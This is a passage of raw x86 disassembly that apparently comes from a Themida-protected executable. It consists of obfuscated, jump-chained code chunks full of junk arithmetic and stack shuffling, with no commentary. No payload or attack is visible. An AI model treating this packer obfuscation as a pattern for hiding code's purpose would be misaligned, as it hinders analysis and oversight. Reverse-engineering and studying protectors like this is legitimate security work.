; FUNCTION CHUNK AT 00562151 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056343E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00563945 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00564E72 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00565271 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056729E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A6EB SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056C975 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005740AC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005754CD SIZE 0000000D BYTES
sub esp, 4
mov [esp+4+var_4], eax
mov eax, esp
push 322Eh
mov [esp+8+var_8], edi
mov edi, 4
add eax, edi
pop edi
push 4553h
mov [esp+8+var_8], ebp
push edi
jmp loc_5754CD
sub_56E05C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_56E082: ; CODE XREF: sub_56CC46+76F2j
add edx, 4
add edx, 4
xchg edx, [esp+4+var_4]
pop esp
add esi, 4
xchg esi, [esp+0]
pop esp
push 238Ch
mov [esp+0], ebx
push esp
pop ebx
jmp loc_5705ED
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_56E0A5: ; CODE XREF: sub_574656-CEDEj
and esi, 7C1E4D7Ah
jmp loc_56C9D7
; END OF FUNCTION CHUNK FOR sub_574656
; =============== S U B R O U T I N E =======================================
sub_56E0B0 proc near ; DATA XREF: Themida_:0055FD6Co
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005605A4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00560945 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005622EB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00563555 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056613E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00569845 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056AF52 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056B924 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00570DAF SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00571081 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00575284 SIZE 00000009 BYTES
push dword ptr [esp+0]
push [esp+4+var_4]
pop eax
add esp, 4
push 3AE8h
mov [esp+4+var_4], ebp
push eax
jmp loc_56613E
sub_56E0B0 endp
; =============== S U B R O U T I N E =======================================
sub_56E0CB proc near ; CODE XREF: sub_56C79C+9j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055FFE5 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005620BF SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005666EC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056A24E SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0056AE62 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056E536 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00572389 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00572A95 SIZE 0000000B BYTES
sub esp, 4
mov [esp-4+arg_0], esp
jmp loc_56E536
sub_56E0CB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568646
loc_56E0D6: ; CODE XREF: sub_568646+5820j
mov al, dl
push ebx
mov bl, al
mov ch, bl
pop ebx
mov eax, [esp+14h+var_14]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+18h+var_18]
pop esp
mov bl, ch
jmp loc_569C88
; END OF FUNCTION CHUNK FOR sub_568646
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567CFE
loc_56E0FB: ; CODE XREF: sub_567CFE-7D1Ej
add edx, 1C6B43A2h
and edx, 5759297Ah
shl edx, 6
xor edx, 6E43F88h
push ecx
mov ecx, 58F32020h
sub edx, ecx
pop ecx
sub ebp, edx
mov edx, [esp+0Ch+var_C]
add esp, 4
jmp loc_56E22D
; END OF FUNCTION CHUNK FOR sub_567CFE
; =============== S U B R O U T I N E =======================================
sub_56E126 proc near ; CODE XREF: sub_5696A1+6A2Aj
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005603D1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00561BEA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005624F5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00562B36 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00563744 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00563881 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00564B52 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00564E41 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00564F7E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00565C76 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00565EE5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056673B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005677B7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00567D55 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00568D11 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00569424 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00569F8E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056C75F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056D5FE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056D647 SIZE 00000046 BYTES
; FUNCTION CHUNK AT 0056DCAD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056EAD3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056F448 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056F761 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00570A3C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00570A8C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570BF2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005728DE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005735A0 SIZE 0000000A BYTES
sub esp, 4
mov [esp+4+var_4], ebx
mov ebx, 67765B93h
jmp loc_56673B
sub_56E126 endp
; ---------------------------------------------------------------------------
loc_56E139: ; CODE XREF: Themida_:0056BE31j
add ecx, 4
push 5F7Eh
mov [esp], edi
mov edi, 0F870EE4h
push esi
push edi
push 673278Eh
mov edi, [esp]
jmp loc_574F80
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5716F1
loc_56E15B: ; CODE XREF: sub_5716F1-7CCAj
pop ebx
mov eax, 2FCE15A2h
add eax, edx
pop edx
push ebx
jmp loc_563E23
; END OF FUNCTION CHUNK FOR sub_5716F1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574896
loc_56E16A: ; CODE XREF: sub_574896+6j
sub edi, ebp
pop ebp
xchg edi, [esp+0]
pop esp
mov [esp-4+arg_0], eax
jmp loc_5727BD
; END OF FUNCTION CHUNK FOR sub_574896
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_56E179: ; CODE XREF: sub_57146D-167Dj
xor dl, ah
mov eax, [esp+0Eh+var_10+2]
add esp, 4
dec dl
not dl
neg dl
push ax
mov al, 0F4h
push cx
jmp loc_571FCA
; END OF FUNCTION CHUNK FOR sub_57146D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566DC7
loc_56E195: ; CODE XREF: sub_566DC7+3222j
xor esi, [esp+8+var_8]
jmp loc_56FF2B
; END OF FUNCTION CHUNK FOR sub_566DC7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5738F4
loc_56E19D: ; CODE XREF: sub_5738F4-2B70j
xor [esp+4+var_4], ebx
jmp loc_562EE9
; END OF FUNCTION CHUNK FOR sub_5738F4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564020
loc_56E1A5: ; CODE XREF: sub_564020+16j
push dword ptr [esp+0]
pop eax
jmp loc_562AA7
; END OF FUNCTION CHUNK FOR sub_564020
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_56E1AE: ; CODE XREF: sub_574304-D9F8j
sub eax, 97D351Eh
jmp loc_5734B9
; END OF FUNCTION CHUNK FOR sub_574304
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_56E1B8 proc near ; CODE XREF: sub_56A423+9A85j
; FUNCTION CHUNK AT 00564507 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00565FCB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056F6B2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00570129 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005735C8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0057395E SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00573C6B SIZE 00000019 BYTES
push ebp
mov ebp, esp
add ebp, 4
jmp loc_57395E
sub_56E1B8 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574949
loc_56E1C6: ; CODE XREF: sub_574949-F7F2j
add dh, 19h
add cl, dh
pop edx
jmp loc_560636
; END OF FUNCTION CHUNK FOR sub_574949
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564B0B
loc_56E1D1: ; CODE XREF: sub_564B0B+1Dj
add ebx, 69C835A5h
pop edx
sub esp, 4
mov [esp+8+var_8], ebp
push ecx
mov ecx, 94A29C1h
shl ecx, 6
push ebp
jmp loc_56AF7F
; END OF FUNCTION CHUNK FOR sub_564B0B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5692D3
loc_56E1F0: ; CODE XREF: sub_5692D3-1394j
sub ecx, 6A177A68h
add ecx, 41634E4Eh
push ebx
jmp sub_56351E
; END OF FUNCTION CHUNK FOR sub_5692D3
; ---------------------------------------------------------------------------
loc_56E202: ; CODE XREF: Themida_:00574224j
pop eax
sub edx, 88E5D154h
sub ecx, edx
mov edx, [esp]
add esp, 4
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_5710E1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D855
loc_56E220: ; CODE XREF: sub_56D855-C3A4j
mov eax, edx
pop edx
xor eax, 55220AAAh
jmp loc_5639FD
; END OF FUNCTION CHUNK FOR sub_56D855
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567CFE
loc_56E22D: ; CODE XREF: sub_567CFE+6423j
mov ecx, [esp+8+var_8]
add esp, 4
xor ebp, 3E984444h
jmp loc_5737FB
; END OF FUNCTION CHUNK FOR sub_567CFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_56E241: ; CODE XREF: sub_56B06D+7B46j
mov edx, 44A70F74h
xchg esi, edx
not esi
xchg esi, edx
push ecx
mov ecx, 33E70A75h
sub edx, 1EF274ADh
add edx, ecx
add edx, 1EF274ADh
push [esp+0Ch+var_C]
pop ecx
add esp, 4
sub eax, edx
mov edx, [esp+8+var_8]
add esp, 4
mov [edx+30h], eax
push [esp+4+var_4]
mov eax, [esp+8+var_8]
add esp, 4
add esp, 4
popa
popf
retn
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
jmp loc_55FF9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_56E289: ; CODE XREF: sub_565632+74CBj
mov eax, 5DED080Dh
neg eax
not eax
shr eax, 5
or eax, 3F7647D3h
add eax, 0A697FA43h
sub esi, eax
jmp loc_56C2DA
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_56E2A6: ; CODE XREF: sub_56616D+DB49j
mov edi, ebp
mov ebp, [esp-0Ch+arg_8]
add esp, 4
add edi, ecx
mov ecx, [esp-10h+arg_C]
add esp, 4
mov esi, 203E1861h
sub esi, 75F3156h
sub esi, 76BF2ABDh
sub esi, edi
add esi, 76BF2ABDh
add esi, 75F3156h
jmp loc_56A0D6
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5648C6
loc_56E2E0: ; CODE XREF: sub_5648C6+20D9j
xor eax, 6E25C9D3h
and esi, eax
pop eax
add esi, 6C872BD5h
sub esi, 7B2F25C4h
jmp sub_56858D
; END OF FUNCTION CHUNK FOR sub_5648C6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56E2F9: ; CODE XREF: sub_57354D-37F4j
add [esp+8+var_4], 8CF317Ah
add [esp+8+var_4], ebx
jmp loc_562827
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_56E30A: ; CODE XREF: sub_56616D+325Fj
pop edx
jmp loc_57455E
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569E1B
loc_56E310: ; CODE XREF: sub_569E1B-597Ej
pop esp
mov [esp+0], edx
jmp loc_56D315
; END OF FUNCTION CHUNK FOR sub_569E1B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5604FE
loc_56E319: ; CODE XREF: sub_5604FE+532j
or edi, 4FA749EAh
push ebp
mov ebp, 1048221Ah
add edi, 59D750FEh
jmp loc_5695EC
; END OF FUNCTION CHUNK FOR sub_5604FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_56E330: ; CODE XREF: sub_56FB8A-C8C7j
add edx, 18C03ABh
and edx, 100B564Ah
jmp loc_5687CB
; END OF FUNCTION CHUNK FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_56E341: ; CODE XREF: sub_56628B+A064j
sub ebp, edx
mov edx, [esp+10h+var_10]
add esp, 4
jmp loc_5676D9
; END OF FUNCTION CHUNK FOR sub_56628B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B11B
loc_56E34E: ; CODE XREF: sub_56B11B-6EC7j
pop edx
sub ecx, 4
jmp loc_568EA7
; END OF FUNCTION CHUNK FOR sub_56B11B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747FA
loc_56E35A: ; CODE XREF: sub_5747FA+2Cj
push esi
jmp loc_56EAAD
; END OF FUNCTION CHUNK FOR sub_5747FA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564020
loc_56E360: ; CODE XREF: sub_564020+DAE0j
add esp, 4
pop edx
add ebx, eax
push 29BFh
mov [esp-4+arg_0], edi
push eax
mov eax, 47C20C7Bh
sub eax, 1
push edx
mov edx, 2DE8276Fh
jmp loc_572C1D
; END OF FUNCTION CHUNK FOR sub_564020
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570FB7
loc_56E385: ; CODE XREF: sub_570FB7-109B3j
push eax
jmp loc_5749BA
; END OF FUNCTION CHUNK FOR sub_570FB7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B71F
loc_56E38B: ; CODE XREF: sub_56B71F-5E81j
mov eax, [esp+8+var_8]
add esp, 4
sub esp, 4
mov [esp+8+var_8], edx
jmp loc_56A1BE
; END OF FUNCTION CHUNK FOR sub_56B71F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56E39C: ; CODE XREF: sub_564D26+CF4Aj
xor esi, edi
push [esp+4+var_4]
mov edi, [esp+8+var_8]
jmp loc_5714CE
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570E81
loc_56E3A9: ; CODE XREF: sub_570E81-946Ej
add [esp+4+arg_0], 3DF066B1h
pop edx
sub [esp+arg_0], 548047F4h
jmp loc_56D56A
; END OF FUNCTION CHUNK FOR sub_570E81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DA43
loc_56E3BF: ; CODE XREF: sub_56DA43+30BDj
add ebp, 543A726Bh
add ecx, ebp
pop ebp
add ecx, ebp
push ebp
push edi
mov edi, 7BE83B48h
mov ebp, 288E4F76h
jmp loc_56173F
; END OF FUNCTION CHUNK FOR sub_56DA43
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570F0F
loc_56E3DB: ; CODE XREF: sub_570F0F-6AFEj
pop [esp+4+var_4]
pop esp
jmp loc_560402
; END OF FUNCTION CHUNK FOR sub_570F0F
; ---------------------------------------------------------------------------
loc_56E3E4: ; CODE XREF: Themida_:0056EC3Aj
add esi, 4
sub esi, 4
jmp loc_566A55
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A016
loc_56E3F5: ; CODE XREF: sub_56A016+Cj
sub al, 9Eh
sub al, bh
add al, 9Eh
jmp loc_5711D6
; END OF FUNCTION CHUNK FOR sub_56A016
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570F0F
loc_56E400: ; CODE XREF: sub_570F0F+11j
push 110F55F0h
pop edx
sub edx, 12280CBEh
not edx
push edi
mov edi, 90346591h
sub edx, edi
pop edi
mov ebx, edx
pop edx
sub ebx, 70E45138h
add ecx, 4E692A4Dh
add ecx, ebx
sub ecx, 4E692A4Dh
pop ebx
jmp loc_56A408
; END OF FUNCTION CHUNK FOR sub_570F0F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_56E434: ; CODE XREF: sub_5620B7+6BC6j
mov esi, 29226D57h
or edx, esi
push [esp+14h+var_14]
jmp loc_571D33
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
loc_56E443: ; CODE XREF: Themida_:00560C77j
push 4742F326h
jmp loc_563A3B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567B29
loc_56E44D: ; CODE XREF: sub_567B29+1j
mov ebx, 0
push esi
mov esi, 0F4C2C2Ah
jmp loc_56B2DA
; END OF FUNCTION CHUNK FOR sub_567B29
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_56E45D: ; CODE XREF: sub_565632+ACDDj
mov esi, 4
add edi, esi
pop esi
xchg edi, [esp+0]
pop esp
push ebx
push esp
pop ebx
add ebx, 4
push 5937h
mov [esp-10h+arg_C], ebp
jmp loc_56F2EA
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_56E47F: ; CODE XREF: sub_56BD44-90A4j
sub edi, 7AD64362h
jmp loc_569724
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
loc_56E48A: ; CODE XREF: Themida_:00571C05j
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
push ecx
mov ecx, 11C90422h
jmp loc_564512
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56E4A6: ; CODE XREF: sub_57354D-1154Bj
mov ebp, 52944A64h
add edi, ebp
pop ebp
add edi, edx
jmp loc_5729E1
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561784
loc_56E4B5: ; CODE XREF: sub_561784+36j
mov [esp+4+var_4], edi
jmp sub_5631A3
; END OF FUNCTION CHUNK FOR sub_561784
; ---------------------------------------------------------------------------
loc_56E4BD: ; CODE XREF: Themida_:0056F260j
mov eax, 7EDF6695h
jmp loc_56B027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_56E4C7: ; CODE XREF: sub_569193+13j
sub ebx, 4
push ebx
push [esp+8+var_4]
jmp loc_56BFBE
; END OF FUNCTION CHUNK FOR sub_569193
; =============== S U B R O U T I N E =======================================
sub_56E4D4 proc near ; CODE XREF: sub_57199D+1C4Cj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00563AB0 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00568867 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00569EF0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056B64C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005718E6 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005726C9 SIZE 00000008 BYTES
push ebx
mov ebx, 446E4CBDh
inc ebx
inc ebx
sub ebx, 0EFA7FCE4h
sub eax, ebx
mov ebx, [esp+0]
jmp loc_56B64C
sub_56E4D4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573A7F
loc_56E4EC: ; CODE XREF: sub_573A7F-F26j
add edi, 26820C74h
or edi, 6A9639C9h
dec edi
push esi
mov esi, 41CC3104h
sub edi, 6BF3FC9h
sub edi, esi
add edi, 6BF3FC9h
pop esi
jmp sub_5666C3
; END OF FUNCTION CHUNK FOR sub_573A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_56E513: ; CODE XREF: sub_56FA15-7F61j
push 0
push bx
mov bl, 5Ah
sub byte ptr [esp+0Eh+var_C], bl
pop bx
sub byte ptr [esp+0Ch+var_C], ch
add byte ptr [esp+0Ch+var_C], 5Ah
mov ch, byte ptr [esp+0Ch+var_C]
add esp, 4
inc ch
jmp loc_563C7F
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E0CB
loc_56E536: ; CODE XREF: sub_56E0CB+6j
add [esp-4+arg_0], 4
pop ecx
push edx
mov edx, 4
add ecx, edx
mov edx, [esp-4+arg_0]
add esp, 4
push ebx
push 557Bh
jmp loc_56A24E
; END OF FUNCTION CHUNK FOR sub_56E0CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56626B
loc_56E554: ; CODE XREF: sub_56626B+D2F9j
add cl, bh
add cl, 0B6h
pop ebx
sub al, cl
jmp loc_56FE37
; END OF FUNCTION CHUNK FOR sub_56626B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_56E561: ; CODE XREF: sub_567D31-29A2j
sub edi, 0E165599Fh
mov ebx, edi
pop edi
push edi
mov edi, 4B1278DDh
and edi, 1022CA6h
xor edi, 0D7C5F0Ch
or edi, 167E3D3Fh
shl edi, 1
shl edi, 2
sub edi, 812D846Dh
xor ebx, edi
pop edi
add ecx, ebx
jmp loc_5636AD
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_56E597: ; CODE XREF: sub_5678CB+DBCCj
push ecx
mov cl, 19h
mov dl, cl
pop ecx
add ah, dl
jmp loc_56985F
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560844
loc_56E5A4: ; CODE XREF: sub_560844+6DD0j
mov esi, 63891073h
inc esi
sub esi, 0CE87D69h
and esi, 62732E17h
jmp loc_564F4E
; END OF FUNCTION CHUNK FOR sub_560844
; =============== S U B R O U T I N E =======================================
sub_56E5BB proc near ; DATA XREF: Themida_:0055FE24o
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = word ptr 4
; FUNCTION CHUNK AT 0056118F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005611F6 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005689D9 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056A813 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00571921 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 00572FE8 SIZE 00000017 BYTES
mov cx, [esp+0]
push 56CFh
mov [esp+4+var_4], ecx
push esp
push [esp+8+var_8]
jmp loc_56118F
sub_56E5BB endp
; ---------------------------------------------------------------------------
loc_56E5D0: ; CODE XREF: Themida_:005710F2j
jmp loc_55FF9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5653AD
loc_56E5D5: ; CODE XREF: sub_5653AD-4F8Ej
or ebx, edi
pop edi
not ebx
inc ebx
add ebx, 0D8849C66h
xor esi, ebx
mov ebx, [esp+4+var_4]
add esp, 4
add ebx, esi
jmp loc_566778
; END OF FUNCTION CHUNK FOR sub_5653AD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_56E5F0: ; CODE XREF: sub_574A21-A4EAj
pop edi
neg edx
add edx, 40F727CAh
push edi
push edx
mov edx, 11B5F92h
mov edi, edx
pop edx
jmp loc_569808
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_55FF9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB93
loc_56E610: ; CODE XREF: sub_56AB93+F1j
btc [esp+0], ax
pushf
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56AB93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C3E2
loc_56E61B: ; CODE XREF: sub_56C3E2-8365j
pop edx
jmp loc_57106C
; END OF FUNCTION CHUNK FOR sub_56C3E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B577
loc_56E621: ; CODE XREF: sub_56B577-2395j
add ebp, 1F8E7AF4h
mov eax, [esp+0]
push esi
push esp
pop esi
add esi, 4
add esi, 4
jmp loc_5651FA
; END OF FUNCTION CHUNK FOR sub_56B577
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_56E63B: ; CODE XREF: sub_56FA15+9j
dec bl
add bl, 1Ah
jmp loc_56A4B5
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5662F9
loc_56E645: ; CODE XREF: sub_5662F9+589Aj
push edi
mov edi, 4
sub esi, 7A1B0607h
add esi, edi
add esi, 7A1B0607h
mov edi, [esp+10h+var_10]
add esp, 4
xchg esi, [esp+0Ch+var_C]
jmp loc_56C12D
; END OF FUNCTION CHUNK FOR sub_5662F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_56E66A: ; CODE XREF: sub_5605BC+CA82j
sub ecx, 2B1D0051h
add ecx, 0A8F50B6h
pop ebx
push ebx
jmp loc_56867C
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_56E67D: ; CODE XREF: sub_561418+EDC1j
sub edx, 66EB377Fh
mov ebp, [esp+10h+var_10]
jmp loc_568B79
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
loc_56E68B: ; CODE XREF: Themida_:0056FBAFj
pop esi
push ebx
mov ebx, esp
add ebx, 4
push edx
mov edx, 4
add ebx, edx
jmp loc_561669
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_56E6A2: ; CODE XREF: sub_574656-10550j
add esi, ebp
push [esp+10h+var_10]
pop ebp
add esp, 4
jmp sub_56D4B8
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567CF5
loc_56E6B3: ; CODE XREF: sub_567CF5-1D94j
sub ecx, eax
pop eax
mov ebp, ecx
pop ecx
push ecx
mov ecx, 0A93EA20Ah
add ebp, ecx
pop ecx
add ecx, ebp
pop ebp
add esi, ecx
pop ecx
add esi, 2
jmp loc_56F14E
; END OF FUNCTION CHUNK FOR sub_567CF5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_56E6D3: ; CODE XREF: sub_569193+6580j
mov esi, 4
mov ecx, esi
mov esi, [esp+0Ch+var_C]
add esp, 4
sub edi, 5C881924h
add edi, ecx
add edi, 5C881924h
push [esp+8+var_8]
mov ecx, [esp+0Ch+var_C]
add esp, 4
add esp, 4
xor edi, [esp+4+var_4]
xor [esp+4+var_4], edi
jmp loc_5616AD
; END OF FUNCTION CHUNK FOR sub_569193
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56E70E: ; CODE XREF: sub_564D26+1Aj
add edx, ecx
pop ecx
add edx, ebp
push ebx
mov ebx, 600C0530h
not ebx
sub ebx, 84A69100h
sub edx, ebx
pop ebx
pop ebp
push ecx
mov ecx, 4
jmp loc_57393E
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_56E730: ; CODE XREF: sub_574A21-13306j
push edx
mov edx, 5FC07D73h
mov ebx, 0D475D92Ah
sub ebx, edx
pop edx
jmp loc_5753D7
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561826
loc_56E743: ; CODE XREF: sub_561826+3CF4j
pop edi
add esi, edx
